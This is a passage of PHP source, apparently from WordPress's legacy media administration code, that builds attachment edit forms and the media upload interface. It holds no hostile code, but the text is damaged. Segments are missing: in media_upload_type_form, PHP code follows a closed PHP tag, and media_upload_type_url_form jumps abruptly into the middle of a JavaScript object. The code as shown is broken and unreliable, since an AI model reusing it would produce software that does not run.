		}

$terms = get_object_term_cache( $post->ID, $taxonomy );

if ( false === $terms ) {
			$terms = wp_get_object_terms( $post->ID, $taxonomy, $t['args'] );
		}

$values = array();

foreach ( $terms as $term ) {
			$values[] = $term->slug;
		}

$t['value'] = join( ', ', $values );

$form_fields[ $taxonomy ] = $t;
	}

/*
	 * Merge default fields with their errors, so any key passed with the error
	 * (e.g. 'error', 'helps', 'value') will replace the default.
	 * The recursive merge is easily traversed with array casting:
	 * foreach ( (array) $things as $thing )
	 */
	$form_fields = array_merge_recursive( $form_fields, (array) $errors );

// This was formerly in image_attachment_fields_to_edit().
	if ( 'image' === substr( $post->post_mime_type, 0, 5 ) ) {
		$alt = get_post_meta( $post->ID, '_wp_attachment_image_alt', true );

if ( empty( $alt ) ) {
			$alt = '';
		}

$form_fields['post_title']['required'] = true;

$form_fields['image_alt'] = array(
			'value' => $alt,
			'label' => __( 'Alternative Text' ),
			'helps' => __( 'Alt text for the image, e.g. &#8220;The Mona Lisa&#8221;' ),
		);

$form_fields['align'] = array(
			'label' => __( 'Alignment' ),
			'input' => 'html',
			'html'  => image_align_input_fields( $post, get_option( 'image_default_align' ) ),
		);

$form_fields['image-size'] = image_size_input_fields( $post, get_option( 'image_default_size', 'medium' ) );

} else {
		unset( $form_fields['image_alt'] );
	}

/**
	 * Filters the attachment fields to edit.
	 *
	 * @since 2.5.0
	 *
	 * @param array   $form_fields An array of attachment form fields.
	 * @param WP_Post $post        The WP_Post attachment object.
	 */
	$form_fields = apply_filters( 'attachment_fields_to_edit', $form_fields, $post );

return $form_fields;
}

/**
 * Retrieve HTML for media items of post gallery.
 *
 * The HTML markup retrieved will be created for the progress of SWF Upload
 * component. Will also create link for showing and hiding the form to modify
 * the image attachment.
 *
 * @since 2.5.0
 *
 * @global WP_Query $wp_the_query WordPress Query object.
 *
 * @param int   $post_id Optional. Post ID.
 * @param array $errors  Errors for attachment, if any.
 * @return string
 */
function get_media_items( $post_id, $errors ) {
	$attachments = array();

if ( $post_id ) {
		$post = get_post( $post_id );

if ( $post && 'attachment' === $post->post_type ) {
			$attachments = array( $post->ID => $post );
		} else {
			$attachments = get_children(
				array(
					'post_parent' => $post_id,
					'post_type'   => 'attachment',
					'orderby'     => 'menu_order ASC, ID',
					'order'       => 'DESC',
				)
			);
		}
	} else {
		if ( is_array( $GLOBALS['wp_the_query']->posts ) ) {
			foreach ( $GLOBALS['wp_the_query']->posts as $attachment ) {
				$attachments[ $attachment->ID ] = $attachment;
			}
		}
	}

$output = '';
	foreach ( (array) $attachments as $id => $attachment ) {
		if ( 'trash' === $attachment->post_status ) {
			continue;
		}

$item = get_media_item( $id, array( 'errors' => isset( $errors[ $id ] ) ? $errors[ $id ] : null ) );

if ( $item ) {
			$output .= "\n<div id='media-item-$id' class='media-item child-of-$attachment->post_parent preloaded'><div class='progress hidden'><div class='bar'></div></div><div id='media-upload-error-$id' class='hidden'></div><div class='filename hidden'></div>$item\n</div>";
		}
	}

return $output;
}

/**
 * Retrieve HTML form for modifying the image attachment.
 *
 * @since 2.5.0
 *
 * @global string $redir_tab
 *
 * @param int          $attachment_id Attachment ID for modification.
 * @param string|array $args          Optional. Override defaults.
 * @return string HTML form for attachment.
 */
function get_media_item( $attachment_id, $args = null ) {
	global $redir_tab;

$thumb_url     = false;
	$attachment_id = intval( $attachment_id );

if ( $attachment_id ) {
		$thumb_url = wp_get_attachment_image_src( $attachment_id, 'thumbnail', true );

if ( $thumb_url ) {
			$thumb_url = $thumb_url[0];
		}
	}

$post            = get_post( $attachment_id );
	$current_post_id = ! empty( $_GET['post_id'] ) ? (int) $_GET['post_id'] : 0;

$default_args = array(
		'errors'     => null,
		'send'       => $current_post_id ? post_type_supports( get_post_type( $current_post_id ), 'editor' ) : true,
		'delete'     => true,
		'toggle'     => true,
		'show_title' => true,
	);

$parsed_args = wp_parse_args( $args, $default_args );

/**
	 * Filters the arguments used to retrieve an image for the edit image form.
	 *
	 * @since 3.1.0
	 *
	 * @see get_media_item
	 *
	 * @param array $parsed_args An array of arguments.
	 */
	$parsed_args = apply_filters( 'get_media_item_args', $parsed_args );

$toggle_on  = __( 'Show' );
	$toggle_off = __( 'Hide' );

$file     = get_attached_file( $post->ID );
	$filename = esc_html( wp_basename( $file ) );
	$title    = esc_attr( $post->post_title );

$post_mime_types = get_post_mime_types();
	$keys            = array_keys( wp_match_mime_types( array_keys( $post_mime_types ), $post->post_mime_type ) );
	$type            = reset( $keys );
	$type_html       = "<input type='hidden' id='type-of-$attachment_id' value='" . esc_attr( $type ) . "' />";

$form_fields = get_attachment_fields_to_edit( $post, $parsed_args['errors'] );

if ( $parsed_args['toggle'] ) {
		$class        = empty( $parsed_args['errors'] ) ? 'startclosed' : 'startopen';
		$toggle_links = "
		<a class='toggle describe-toggle-on' href='#'>$toggle_on</a>
		<a class='toggle describe-toggle-off' href='#'>$toggle_off</a>";
	} else {
		$class        = '';
		$toggle_links = '';
	}

$display_title = ( ! empty( $title ) ) ? $title : $filename; // $title shouldn't ever be empty, but just in case.
	$display_title = $parsed_args['show_title'] ? "<div class='filename new'><span class='title'>" . wp_html_excerpt( $display_title, 60, '&hellip;' ) . '</span></div>' : '';

$gallery = ( ( isset( $_REQUEST['tab'] ) && 'gallery' === $_REQUEST['tab'] ) || ( isset( $redir_tab ) && 'gallery' === $redir_tab ) );
	$order   = '';

foreach ( $form_fields as $key => $val ) {
		if ( 'menu_order' === $key ) {
			if ( $gallery ) {
				$order = "<div class='menu_order'> <input class='menu_order_input' type='text' id='attachments[$attachment_id][menu_order]' name='attachments[$attachment_id][menu_order]' value='" . esc_attr( $val['value'] ) . "' /></div>";
			} else {
				$order = "<input type='hidden' name='attachments[$attachment_id][menu_order]' value='" . esc_attr( $val['value'] ) . "' />";
			}

unset( $form_fields['menu_order'] );
			break;
		}
	}

$media_dims = '';
	$meta       = wp_get_attachment_metadata( $post->ID );

if ( isset( $meta['width'], $meta['height'] ) ) {
		$media_dims .= "<span id='media-dims-$post->ID'>{$meta['width']}&nbsp;&times;&nbsp;{$meta['height']}</span> ";
	}

/**
	 * Filters the media metadata.
	 *
	 * @since 2.5.0
	 *
	 * @param string  $media_dims The HTML markup containing the media dimensions.
	 * @param WP_Post $post       The WP_Post attachment object.
	 */
	$media_dims = apply_filters( 'media_meta', $media_dims, $post );

$image_edit_button = '';

if ( wp_attachment_is_image( $post->ID ) && wp_image_editor_supports( array( 'mime_type' => $post->post_mime_type ) ) ) {
		$nonce             = wp_create_nonce( "image_editor-$post->ID" );
		$image_edit_button = "<input type='button' id='imgedit-open-btn-$post->ID' onclick='imageEdit.open( $post->ID, \"$nonce\" )' class='button' value='" . esc_attr__( 'Edit Image' ) . "' /> <span class='spinner'></span>";
	}

$attachment_url = get_permalink( $attachment_id );

$item = "
		$type_html
		$toggle_links
		$order
		$display_title
		<table class='slidetoggle describe $class'>
			<thead class='media-item-info' id='media-head-$post->ID'>
			<tr>
			<td class='A1B1' id='thumbnail-head-$post->ID'>
			<p><a href='$attachment_url' target='_blank'><img class='thumbnail' src='$thumb_url' alt='' /></a></p>
			<p>$image_edit_button</p>
			</td>
			<td>
			<p><strong>" . __( 'File name:' ) . "</strong> $filename</p>
			<p><strong>" . __( 'File type:' ) . "</strong> $post->post_mime_type</p>
			<p><strong>" . __( 'Upload date:' ) . '</strong> ' . mysql2date( __( 'F j, Y' ), $post->post_date ) . '</p>';

if ( ! empty( $media_dims ) ) {
		$item .= '<p><strong>' . __( 'Dimensions:' ) . "</strong> $media_dims</p>\n";
	}

$item .= "</td></tr>\n";

$item .= "
		</thead>
		<tbody>
		<tr><td colspan='2' class='imgedit-response' id='imgedit-response-$post->ID'></td></tr>\n
		<tr><td style='display:none' colspan='2' class='image-editor' id='image-editor-$post->ID'></td></tr>\n
		<tr><td colspan='2'><p class='media-types media-types-required-info'>" .
			/* translators: %s: Asterisk symbol (*). */
			sprintf( __( 'Required fields are marked %s' ), '<span class="required">*</span>' ) .
		"</p></td></tr>\n";

$defaults = array(
		'input'      => 'text',
		'required'   => false,
		'value'      => '',
		'extra_rows' => array(),
	);

if ( $parsed_args['send'] ) {
		$parsed_args['send'] = get_submit_button( __( 'Insert into Post' ), '', "send[$attachment_id]", false );
	}

$delete = empty( $parsed_args['delete'] ) ? '' : $parsed_args['delete'];
	if ( $delete && current_user_can( 'delete_post', $attachment_id ) ) {
		if ( ! EMPTY_TRASH_DAYS ) {
			$delete = "<a href='" . wp_nonce_url( "post.php?action=delete&amp;post=$attachment_id", 'delete-post_' . $attachment_id ) . "' id='del[$attachment_id]' class='delete-permanently'>" . __( 'Delete Permanently' ) . '</a>';
		} elseif ( ! MEDIA_TRASH ) {
			$delete = "<a href='#' class='del-link' onclick=\"document.getElementById('del_attachment_$attachment_id').style.display='block';return false;\">" . __( 'Delete' ) . "</a>
				<div id='del_attachment_$attachment_id' class='del-attachment' style='display:none;'>" .
				/* translators: %s: File name. */
				'<p>' . sprintf( __( 'You are about to delete %s.' ), '<strong>' . $filename . '</strong>' ) . "</p>
				<a href='" . wp_nonce_url( "post.php?action=delete&amp;post=$attachment_id", 'delete-post_' . $attachment_id ) . "' id='del[$attachment_id]' class='button'>" . __( 'Continue' ) . "</a>
				<a href='#' class='button' onclick=\"this.parentNode.style.display='none';return false;\">" . __( 'Cancel' ) . '</a>
				</div>';
		} else {
			$delete = "<a href='" . wp_nonce_url( "post.php?action=trash&amp;post=$attachment_id", 'trash-post_' . $attachment_id ) . "' id='del[$attachment_id]' class='delete'>" . __( 'Move to Trash' ) . "</a>
			<a href='" . wp_nonce_url( "post.php?action=untrash&amp;post=$attachment_id", 'untrash-post_' . $attachment_id ) . "' id='undo[$attachment_id]' class='undo hidden'>" . __( 'Undo' ) . '</a>';
		}
	} else {
		$delete = '';
	}

$thumbnail       = '';
	$calling_post_id = 0;

if ( isset( $_GET['post_id'] ) ) {
		$calling_post_id = absint( $_GET['post_id'] );
	} elseif ( isset( $_POST ) && count( $_POST ) ) {// Like for async-upload where $_GET['post_id'] isn't set.
		$calling_post_id = $post->post_parent;
	}

if ( 'image' === $type && $calling_post_id
		&& current_theme_supports( 'post-thumbnails', get_post_type( $calling_post_id ) )
		&& post_type_supports( get_post_type( $calling_post_id ), 'thumbnail' )
		&& get_post_thumbnail_id( $calling_post_id ) != $attachment_id
	) {

$calling_post             = get_post( $calling_post_id );
		$calling_post_type_object = get_post_type_object( $calling_post->post_type );

$ajax_nonce = wp_create_nonce( "set_post_thumbnail-$calling_post_id" );
		$thumbnail  = "<a class='wp-post-thumbnail' id='wp-post-thumbnail-" . $attachment_id . "' href='#' onclick='WPSetAsThumbnail(\"$attachment_id\", \"$ajax_nonce\");return false;'>" . esc_html( $calling_post_type_object->labels->use_featured_image ) . '</a>';
	}

if ( ( $parsed_args['send'] || $thumbnail || $delete ) && ! isset( $form_fields['buttons'] ) ) {
		$form_fields['buttons'] = array( 'tr' => "\t\t<tr class='submit'><td></td><td class='savesend'>" . $parsed_args['send'] . " $thumbnail $delete</td></tr>\n" );
	}

$hidden_fields = array();

foreach ( $form_fields as $id => $field ) {
		if ( '_' === $id[0] ) {
			continue;
		}

if ( ! empty( $field['tr'] ) ) {
			$item .= $field['tr'];
			continue;
		}

$field = array_merge( $defaults, $field );
		$name  = "attachments[$attachment_id][$id]";

if ( 'hidden' === $field['input'] ) {
			$hidden_fields[ $name ] = $field['value'];
			continue;
		}

$required      = $field['required'] ? '<span class="required">*</span>' : '';
		$required_attr = $field['required'] ? ' required' : '';
		$class         = $id;
		$class        .= $field['required'] ? ' form-required' : '';

$item .= "\t\t<tr class='$class'>\n\t\t\t<th scope='row' class='label'><label for='$name'><span class='alignleft'>{$field['label']}{$required}</span><br class='clear' /></label></th>\n\t\t\t<td class='field'>";

if ( ! empty( $field[ $field['input'] ] ) ) {
			$item .= $field[ $field['input'] ];
		} elseif ( 'textarea' === $field['input'] ) {
			if ( 'post_content' === $id && user_can_richedit() ) {
				// Sanitize_post() skips the post_content when user_can_richedit.
				$field['value'] = htmlspecialchars( $field['value'], ENT_QUOTES );
			}
			// Post_excerpt is already escaped by sanitize_post() in get_attachment_fields_to_edit().
			$item .= "<textarea id='$name' name='$name'{$required_attr}>" . $field['value'] . '</textarea>';
		} else {
			$item .= "<input type='text' class='text' id='$name' name='$name' value='" . esc_attr( $field['value'] ) . "'{$required_attr} />";
		}

if ( ! empty( $field['helps'] ) ) {
			$item .= "<p class='help'>" . join( "</p>\n<p class='help'>", array_unique( (array) $field['helps'] ) ) . '</p>';
		}
		$item .= "</td>\n\t\t</tr>\n";

$extra_rows = array();

if ( ! empty( $field['errors'] ) ) {
			foreach ( array_unique( (array) $field['errors'] ) as $error ) {
				$extra_rows['error'][] = $error;
			}
		}

if ( ! empty( $field['extra_rows'] ) ) {
			foreach ( $field['extra_rows'] as $class => $rows ) {
				foreach ( (array) $rows as $html ) {
					$extra_rows[ $class ][] = $html;
				}
			}
		}

foreach ( $extra_rows as $class => $rows ) {
			foreach ( $rows as $html ) {
				$item .= "\t\t<tr><td></td><td class='$class'>$html</td></tr>\n";
			}
		}
	}

if ( ! empty( $form_fields['_final'] ) ) {
		$item .= "\t\t<tr class='final'><td colspan='2'>{$form_fields['_final']}</td></tr>\n";
	}

$item .= "\t</tbody>\n";
	$item .= "\t</table>\n";

foreach ( $hidden_fields as $name => $value ) {
		$item .= "\t<input type='hidden' name='$name' id='$name' value='" . esc_attr( $value ) . "' />\n";
	}

if ( $post->post_parent < 1 && isset( $_REQUEST['post_id'] ) ) {
		$parent      = (int) $_REQUEST['post_id'];
		$parent_name = "attachments[$attachment_id][post_parent]";
		$item       .= "\t<input type='hidden' name='$parent_name' id='$parent_name' value='$parent' />\n";
	}

return $item;
}

/**
 * @since 3.5.0
 *
 * @param int   $attachment_id
 * @param array $args
 * @return array
 */
function get_compat_media_markup( $attachment_id, $args = null ) {
	$post = get_post( $attachment_id );

$default_args = array(
		'errors'   => null,
		'in_modal' => false,
	);

$user_can_edit = current_user_can( 'edit_post', $attachment_id );

$args = wp_parse_args( $args, $default_args );

/** This filter is documented in wp-admin/includes/media.php */
	$args = apply_filters( 'get_media_item_args', $args );

$form_fields = array();

if ( $args['in_modal'] ) {
		foreach ( get_attachment_taxonomies( $post ) as $taxonomy ) {
			$t = (array) get_taxonomy( $taxonomy );

if ( ! $t['public'] || ! $t['show_ui'] ) {
				continue;
			}

if ( empty( $t['label'] ) ) {
				$t['label'] = $taxonomy;
			}

if ( empty( $t['args'] ) ) {
				$t['args'] = array();
			}

$terms = get_object_term_cache( $post->ID, $taxonomy );

if ( false === $terms ) {
				$terms = wp_get_object_terms( $post->ID, $taxonomy, $t['args'] );
			}

$values = array();

foreach ( $terms as $term ) {
				$values[] = $term->slug;
			}

$t['value']    = join( ', ', $values );
			$t['taxonomy'] = true;

$form_fields[ $taxonomy ] = $t;
		}
	}

/** This filter is documented in wp-admin/includes/media.php */
	$form_fields = apply_filters( 'attachment_fields_to_edit', $form_fields, $post );

unset(
		$form_fields['image-size'],
		$form_fields['align'],
		$form_fields['image_alt'],
		$form_fields['post_title'],
		$form_fields['post_excerpt'],
		$form_fields['post_content'],
		$form_fields['url'],
		$form_fields['menu_order'],
		$form_fields['image_url']
	);

/** This filter is documented in wp-admin/includes/media.php */
	$media_meta = apply_filters( 'media_meta', '', $post );

$defaults = array(
		'input'         => 'text',
		'required'      => false,
		'value'         => '',
		'extra_rows'    => array(),
		'show_in_edit'  => true,
		'show_in_modal' => true,
	);

$hidden_fields = array();

$item = '';

foreach ( $form_fields as $id => $field ) {
		if ( '_' === $id[0] ) {
			continue;
		}

$name    = "attachments[$attachment_id][$id]";
		$id_attr = "attachments-$attachment_id-$id";

if ( ! empty( $field['tr'] ) ) {
			$item .= $field['tr'];
			continue;
		}

$field = array_merge( $defaults, $field );

if ( ( ! $field['show_in_edit'] && ! $args['in_modal'] ) || ( ! $field['show_in_modal'] && $args['in_modal'] ) ) {
			continue;
		}

if ( 'hidden' === $field['input'] ) {
			$hidden_fields[ $name ] = $field['value'];
			continue;
		}

$readonly      = ! $user_can_edit && ! empty( $field['taxonomy'] ) ? " readonly='readonly' " : '';
		$required      = $field['required'] ? '<span class="required">*</span>' : '';
		$required_attr = $field['required'] ? ' required' : '';
		$class         = 'compat-field-' . $id;
		$class        .= $field['required'] ? ' form-required' : '';

$item .= "\t\t<tr class='$class'>";
		$item .= "\t\t\t<th scope='row' class='label'><label for='$id_attr'><span class='alignleft'>{$field['label']}</span>$required<br class='clear' /></label>";
		$item .= "</th>\n\t\t\t<td class='field'>";

if ( ! empty( $field[ $field['input'] ] ) ) {
			$item .= $field[ $field['input'] ];
		} elseif ( 'textarea' === $field['input'] ) {
			if ( 'post_content' === $id && user_can_richedit() ) {
				// sanitize_post() skips the post_content when user_can_richedit.
				$field['value'] = htmlspecialchars( $field['value'], ENT_QUOTES );
			}
			$item .= "<textarea id='$id_attr' name='$name'{$required_attr}>" . $field['value'] . '</textarea>';
		} else {
			$item .= "<input type='text' class='text' id='$id_attr' name='$name' value='" . esc_attr( $field['value'] ) . "' $readonly{$required_attr} />";
		}

if ( ! empty( $field['helps'] ) ) {
			$item .= "<p class='help'>" . join( "</p>\n<p class='help'>", array_unique( (array) $field['helps'] ) ) . '</p>';
		}

$item .= "</td>\n\t\t</tr>\n";

$extra_rows = array();

if ( ! empty( $field['errors'] ) ) {
			foreach ( array_unique( (array) $field['errors'] ) as $error ) {
				$extra_rows['error'][] = $error;
			}
		}

if ( ! empty( $field['extra_rows'] ) ) {
			foreach ( $field['extra_rows'] as $class => $rows ) {
				foreach ( (array) $rows as $html ) {
					$extra_rows[ $class ][] = $html;
				}
			}
		}

foreach ( $extra_rows as $class => $rows ) {
			foreach ( $rows as $html ) {
				$item .= "\t\t<tr><td></td><td class='$class'>$html</td></tr>\n";
			}
		}
	}

if ( ! empty( $form_fields['_final'] ) ) {
		$item .= "\t\t<tr class='final'><td colspan='2'>{$form_fields['_final']}</td></tr>\n";
	}

if ( $item ) {
		$item = '<p class="media-types media-types-required-info">' .
			/* translators: %s: Asterisk symbol (*). */
			sprintf( __( 'Required fields are marked %s' ), '<span class="required">*</span>' ) .
			'</p>' .
			'<table class="compat-attachment-fields">' . $item . '</table>';
	}

foreach ( $hidden_fields as $hidden_field => $value ) {
		$item .= '<input type="hidden" name="' . esc_attr( $hidden_field ) . '" value="' . esc_attr( $value ) . '" />' . "\n";
	}

if ( $item ) {
		$item = '<input type="hidden" name="attachments[' . $attachment_id . '][menu_order]" value="' . esc_attr( $post->menu_order ) . '" />' . $item;
	}

return array(
		'item' => $item,
		'meta' => $media_meta,
	);
}

/**
 * Outputs the legacy media upload header.
 *
 * @since 2.5.0
 */
function media_upload_header() {
	$post_id = isset( $_REQUEST['post_id'] ) ? intval( $_REQUEST['post_id'] ) : 0;

echo '<script type="text/javascript">post_id = ' . $post_id . ';</script>';

if ( empty( $_GET['chromeless'] ) ) {
		echo '<div id="media-upload-header">';
		the_media_upload_tabs();
		echo '</div>';
	}
}

/**
 * Outputs the legacy media upload form.
 *
 * @since 2.5.0
 *
 * @global string $type
 * @global string $tab
 * @global bool   $is_IE
 * @global bool   $is_opera
 *
 * @param array $errors
 */
function media_upload_form( $errors = null ) {
	global $type, $tab, $is_IE, $is_opera;

if ( ! _device_can_upload() ) {
		echo '<p>' . sprintf(
			/* translators: %s: https://apps.wordpress.org/ */
			__( 'The web browser on your device cannot be used to upload files. You may be able to use the <a href="%s">native app for your device</a> instead.' ),
			'https://apps.wordpress.org/'
		) . '</p>';
		return;
	}

$upload_action_url = admin_url( 'async-upload.php' );
	$post_id           = isset( $_REQUEST['post_id'] ) ? intval( $_REQUEST['post_id'] ) : 0;
	$_type             = isset( $type ) ? $type : '';
	$_tab              = isset( $tab ) ? $tab : '';

$max_upload_size = wp_max_upload_size();
	if ( ! $max_upload_size ) {
		$max_upload_size = 0;
	}

?>
	<div id="media-upload-notice">
	<?php

if ( isset( $errors['upload_notice'] ) ) {
		echo $errors['upload_notice'];
	}

?>
	</div>
	<div id="media-upload-error">
	<?php

if ( isset( $errors['upload_error'] ) && is_wp_error( $errors['upload_error'] ) ) {
		echo $errors['upload_error']->get_error_message();
	}

?>
	</div>
	<?php

if ( is_multisite() && ! is_upload_space_available() ) {
		/**
		 * Fires when an upload will exceed the defined upload space quota for a network site.
		 *
		 * @since 3.5.0
		 */
		do_action( 'upload_ui_over_quota' );
		return;
	}

/**
	 * Fires just before the legacy (pre-3.5.0) upload interface is loaded.
	 *
	 * @since 2.6.0
	 */
	do_action( 'pre-upload-ui' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

$post_params = array(
		'post_id'  => $post_id,
		'_wpnonce' => wp_create_nonce( 'media-form' ),
		'type'     => $_type,
		'tab'      => $_tab,
		'short'    => '1',
	);

/**
	 * Filters the media upload post parameters.
	 *
	 * @since 3.1.0 As 'swfupload_post_params'
	 * @since 3.3.0
	 *
	 * @param array $post_params An array of media upload parameters used by Plupload.
	 */
	$post_params = apply_filters( 'upload_post_params', $post_params );

/*
	* Since 4.9 the `runtimes` setting is hardcoded in our version of Plupload to `html5,html4`,
	* and the `flash_swf_url` and `silverlight_xap_url` are not used.
	*/
	$plupload_init = array(
		'browse_button'    => 'plupload-browse-button',
		'container'        => 'plupload-upload-ui',
		'drop_element'     => 'drag-drop-area',
		'file_data_name'   => 'async-upload',
		'url'              => $upload_action_url,
		'filters'          => array( 'max_file_size' => $max_upload_size . 'b' ),
		'multipart_params' => $post_params,
	);

/*
	 * Currently only iOS Safari supports multiple files uploading,
	 * but iOS 7.x has a bug that prevents uploading of videos when enabled.
	 * See #29602.
	 */
	if (
		wp_is_mobile() &&
		strpos( $_SERVER['HTTP_USER_AGENT'], 'OS 7_' ) !== false &&
		strpos( $_SERVER['HTTP_USER_AGENT'], 'like Mac OS X' ) !== false
	) {
		$plupload_init['multi_selection'] = false;
	}

/**
	 * Filters the default Plupload settings.
	 *
	 * @since 3.3.0
	 *
	 * @param array $plupload_init An array of default settings used by Plupload.
	 */
	$plupload_init = apply_filters( 'plupload_init', $plupload_init );

?>
	<script type="text/javascript">
	<?php
	// Verify size is an int. If not return default value.
	$large_size_h = absint( get_option( 'large_size_h' ) );

if ( ! $large_size_h ) {
		$large_size_h = 1024;
	}

$large_size_w = absint( get_option( 'large_size_w' ) );

if ( ! $large_size_w ) {
		$large_size_w = 1024;
	}

?>
	var resize_height = <?php echo $large_size_h; ?>, resize_width = <?php echo $large_size_w; ?>,
	wpUploaderInit = <?php echo wp_json_encode( $plupload_init ); ?>;
	</script>

<div id="plupload-upload-ui" class="hide-if-no-js">
	<?php
	/**
	 * Fires before the upload interface loads.
	 *
	 * @since 2.6.0 As 'pre-flash-upload-ui'
	 * @since 3.3.0
	 */
	do_action( 'pre-plupload-upload-ui' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

?>
	<div id="drag-drop-area">
		<div class="drag-drop-inside">
		<p class="drag-drop-info"><?php _e( 'Drop files to upload' ); ?></p>
		<p><?php _ex( 'or', 'Uploader: Drop files here - or - Select Files' ); ?></p>
		<p class="drag-drop-buttons"><input id="plupload-browse-button" type="button" value="<?php esc_attr_e( 'Select Files' ); ?>" class="button" /></p>
		</div>
	</div>
	<?php
	/**
	 * Fires after the upload interface loads.
	 *
	 * @since 2.6.0 As 'post-flash-upload-ui'
	 * @since 3.3.0
	 */
	do_action( 'post-plupload-upload-ui' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
	?>
	</div>

<div id="html-upload-ui" class="hide-if-js">
	<?php
	/**
	 * Fires before the upload button in the media upload interface.
	 *
	 * @since 2.6.0
	 */
	do_action( 'pre-html-upload-ui' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

?>
	<p id="async-upload-wrap">
		<label class="screen-reader-text" for="async-upload"><?php _e( 'Upload' ); ?></label>
		<input type="file" name="async-upload" id="async-upload" />
		<?php submit_button( __( 'Upload' ), 'primary', 'html-upload', false ); ?>
		<a href="#" onclick="try{top.tb_remove();}catch(e){}; return false;"><?php _e( 'Cancel' ); ?></a>
	</p>
	<div class="clear"></div>
	<?php
	/**
	 * Fires after the upload button in the media upload interface.
	 *
	 * @since 2.6.0
	 */
	do_action( 'post-html-upload-ui' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

?>
	</div>

<p class="max-upload-size">
	<?php
	/* translators: %s: Maximum allowed file size. */
	printf( __( 'Maximum upload file size: %s.' ), esc_html( size_format( $max_upload_size ) ) );
	?>
</p>
	<?php

/**
	 * Fires on the post upload UI screen.
	 *
	 * Legacy (pre-3.5.0) media workflow hook.
	 *
	 * @since 2.6.0
	 */
	do_action( 'post-upload-ui' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
}

/**
 * Outputs the legacy media upload form for a given media type.
 *
 * @since 2.5.0
 *
 * @param string  $type
 * @param object  $errors
 * @param integer $id
 */
function media_upload_type_form( $type = 'file', $errors = null, $id = null ) {

media_upload_header();

$post_id = isset( $_REQUEST['post_id'] ) ? intval( $_REQUEST['post_id'] ) : 0;

$form_action_url = admin_url( "media-upload.php?type=$type&tab=type&post_id=$post_id" );

/**
	 * Filters the media upload form action URL.
	 *
	 * @since 2.6.0
	 *
	 * @param string $form_action_url The media upload form action URL.
	 * @param string $type            The type of media. Default 'file'.
	 */
	$form_action_url = apply_filters( 'media_upload_form_url', $form_action_url, $type );
	$form_class      = 'media-upload-form type-form validate';

if ( get_user_setting( 'uploader' ) ) {
		$form_class .= ' html-uploader';
	}

?>
	<form enctype="multipart/form-data" method="post" action="<?php echo esc_url( $form_action_url ); ?>" class="<?php echo $form_class; ?>" id="<?php echo $type; ?>-form">
		<?php submit_button( '', 'hidden', 'save', false ); ?>
	<input type="hidden" name="post_id" id="post_id" value="<?php echo (int) $post_id; ?>" />
		<?php wp_nonce_field( 'media-form' ); ?>

<?php media_upload_form( $errors ); ?>

if ( $id ) {
		if ( ! is_wp_error( $id ) ) {
			add_filter( 'attachment_fields_to_edit', 'media_post_single_attachment_fields_to_edit', 10, 2 );
			echo get_media_items( $id, $errors );
		} else {
			echo '<div id="media-upload-error">' . esc_html( $id->get_error_message() ) . '</div></div>';
			exit;
		}
	}

?>
	</div>

<p class="savebutton ml-submit">
		<?php submit_button( __( 'Save all changes' ), '', 'save', false ); ?>
	</p>
	</form>
	<?php
}

/**
 * Outputs the legacy media upload form for external media.
 *
 * @since 2.7.0
 *
 * @param string  $type
 * @param object  $errors
 * @param integer $id
 */
function media_upload_type_url_form( $type = null, $errors = null, $id = null ) {
	if ( null === $type ) {
		$type = 'image';
	}

media_upload_header();

$post_id = isset( $_REQUEST['post_id'] ) ? intval( $_REQUEST['post_id'] ) : 0;

$form_action_url = admin_url( "media-upload.php?type=$type&tab=type&post_id=$post_id" );
	/** This filter is documented in wp-admin/includes/media.php */
	$form_action_url = apply_filters( 'media_upload_form_url', $form_action_url, $type );
	$form_class      = 'media-upload-form type-form validate';

if ( get_user_setting( 'uploader' ) ) {
		$form_class .= ' html-uploader';
	}

?>
	<form enctype="multipart/form-data" method="post" action="<?php echo esc_url( $form_action_url ); ?>" class="<?php echo $form_class; ?>" id="<?php echo $type; ?>-form">
	<input type="hidden" name="post_id" id="post_id" value="<?php echo (int) $post_id; ?>" />
		<?php wp_nonce_field( 'media-form' ); ?>

width : '',
	height : '',
	align : 'alignnone',

insert : function() {
		var t = this, html, f = document.forms[0], cls, title = '', alt = '', caption = '';

if ( '' === f.src.value || '' === t.width )
			return false;

if ( f.alt.value )
			alt = f.alt.value.replace(/'/g, '&#039;').replace(/"/g, '&quot;').replace(/</g, '&lt;').replace(/>/g, '&gt;');

<?php
		/** This filter is documented in wp-admin/includes/media.php */
		if ( ! apply_filters( 'disable_captions', '' ) ) {
			?>
			if ( f.caption.value ) {
				caption = f.caption.value.replace(/\r\n|\r/g, '\n');
				caption = caption.replace(/<[a-zA-Z0-9]+( [^<>]+)?>/g, function(a){
					return a.replace(/[\r\n\t]+/, ' ');
				});

caption = caption.replace(/\s*\n\s*/g, '<br />');
			}
			<?php
		}

?>
		cls = caption ? '' : ' class="'+t.align+'"';

html = '<img alt="'+alt+'" src="'+f.src.value+'"'+cls+' width="'+t.width+'" height="'+t.height+'" />';

if ( f.url.value ) {
			url = f.url.value.replace(/'/g, '&#039;').replace(/"/g, '&quot;').replace(/</g, '&lt;').replace(/>/g, '&gt;');
			html = '<a href="'+url+'">'+html+'</a>';
		}

if ( caption )
			html = '[caption id="" align="'+t.align+'" width="'+t.width+'"]'+html+caption+'[/caption]';

var win = window.dialogArguments || opener || parent || top;
		win.send_to_editor(html);
		return false;
	},

resetImageData : function() {
		var t = addExtImage;

t.width = t.height = '';
		document.getElementById('go_button').style.color = '#bbb';
		if ( ! document.forms[0].src.value )
			document.getElementById('status_img').innerHTML = '';
		else document.getElementById('status_img').innerHTML = '<img src="<?php echo esc_url( admin_url( 'images/no.png' ) ); ?>" alt="" />';
	},

updateImageData : function() {
		var t = addExtImage;

t.width = t.preloadImg.width;
		t.height = t.preloadImg.height;
		document.getElementById('go_button').style.color = '#333';
		document.getElementById('status_img').innerHTML = '<img src="<?php echo esc_url( admin_url( 'images/yes.png' ) ); ?>" alt="" />';
	},

getImageData : function() {
		if ( jQuery('table.describe').hasClass('not-image') )
			return;

var t = addExtImage, src = document.forms[0].src.value;

if ( ! src ) {
			t.resetImageData();
			return false;
		}

document.getElementById('status_img').innerHTML = '<img src="<?php echo esc_url( admin_url( 'images/spinner-2x.gif' ) ); ?>" alt="" width="16" height="16" />';
		t.preloadImg = new Image();
		t.preloadImg.onload = t.updateImageData;
